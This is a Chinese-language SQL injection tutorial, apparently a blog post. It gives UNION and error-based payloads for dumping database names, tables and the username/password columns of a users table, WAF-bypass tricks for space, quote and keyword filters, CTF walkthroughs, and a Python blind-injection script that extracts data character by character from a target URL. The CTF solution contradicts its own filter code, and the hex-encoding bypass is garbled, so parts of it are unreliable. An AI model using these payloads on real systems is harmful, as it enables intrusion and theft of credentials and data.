第2篇:SQL注入实战与绕过技术
一、联合查询注入(UNION Injection)
原理
UNION语句用于合并两个SELECT查询结果。当存在SQL注入时,可以用UNION获取其他表的数据。
关键条件:
- 注入点必须有SELECT权限
- UNION前后查询的列数必须相同
- UNION前后查询的数据类型必须兼容
如何确定列数?
方法1:ORDER BY排序法
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
如果页面正常,说明至少有1/2/3列。如果报错,则列数小于该数字。
方法2:UNION SELECT法
' UNION SELECT 1,2,3 --
' UNION SELECT NULL,NULL,NULL --
获取数据库信息
' UNION SELECT version(),database(),user() --
常用函数:
| 函数 | 作用 |
|---|---|
| version() | 数据库版本 |
| database() | 当前数据库名 |
| user() | 当前用户 |
| @@datadir | 数据库路径 |
获取表名
' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='webapp' --
常用表:
- information_schema.tables - 所有表
- information_schema.columns - 所有列
获取列名
' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users' --
获取数据
' UNION SELECT username,password FROM users --
二、报错注入(Error-based Injection)
当页面无回显但有数据库错误时使用。
常用函数
MySQL报错函数:
- extractvalue()
' AND extractvalue(1,concat(0x7e,version())) --
- updatexml()
' AND updatexml(1,concat(0x7e,database()),0) --
- floor()
' AND floor(rand()*2) --
实战获取数据
' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 0,1))) --
逐行获取:
' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1,1))) --
三、绕过WAF技术
1. 绕过空格过滤
方法:使用注释符绕过
/**/UNION/**/SELECT/**/1,2,3--
方法:使用制表符/换行符
%09UNION%09SELECT%091,2,3--
2. 绕过单引号过滤
方法:使用十六进制编码
' OR 1=1--
=>
0x2720 OR 0x31=0x31
方法:使用CHAR()函数
' OR CHAR(97)=CHAR(97) --
3. 绕过UNION/SELECT过滤
方法:大小写混合
UniOn SeLeCt 1,2,3--
方法:内联注释
/*!UNION*/ /*!SELECT*/ 1,2,3--
4. 绕过注释符过滤
方法:使用逻辑运算符
' OR '1'='1
' AND '1'='1
四、实战CTF题目
题目:SQL Injection 2
题目代码:
<?php
$id = $_GET['id'];
// 过滤了空格和注释符
$id = str_replace(" ", "", $id);
$id = str_replace("--", "", $id);
$id = str_replace("#", "", $id);
$sql = "SELECT * FROM users WHERE id=$id";
$result = mysqli_query($conn, $sql);
if ($result) {
echo "查询结果:<br>";
while($row = mysqli_fetch_array($result)) {
echo $row['username'] . "<br>";
}
} else {
echo "查询失败";
}
?>
过滤分析:
- 空格被过滤 → 使用
/**/或%09 --被过滤 → 使用#
解题步骤:
- 测试注入点:
?id=1' AND '1'='1
- 判断列数:
?id=1' ORDER BY 3#
- 获取数据:
?id=-1' UNION/**/SELECT/**/1,version(),database()#
题目:Blind SQL Injection
题目描述:
这是一个盲注题目,页面只会返回"存在"或"不存在"
解题方法:
import requests
def blind_injection():
result = ""
for i in range(1, 50):
for j in range(32, 127):
payload = f"' AND ASCII(SUBSTR((SELECT database()),{i},1))={j}--"
url = f"http://target.com/?id=1{payload}"
r = requests.get(url)
if "存在" in r.text:
result += chr(j)
print(f"Progress: {result}")
break
return result
浙公网安备 33010602011771号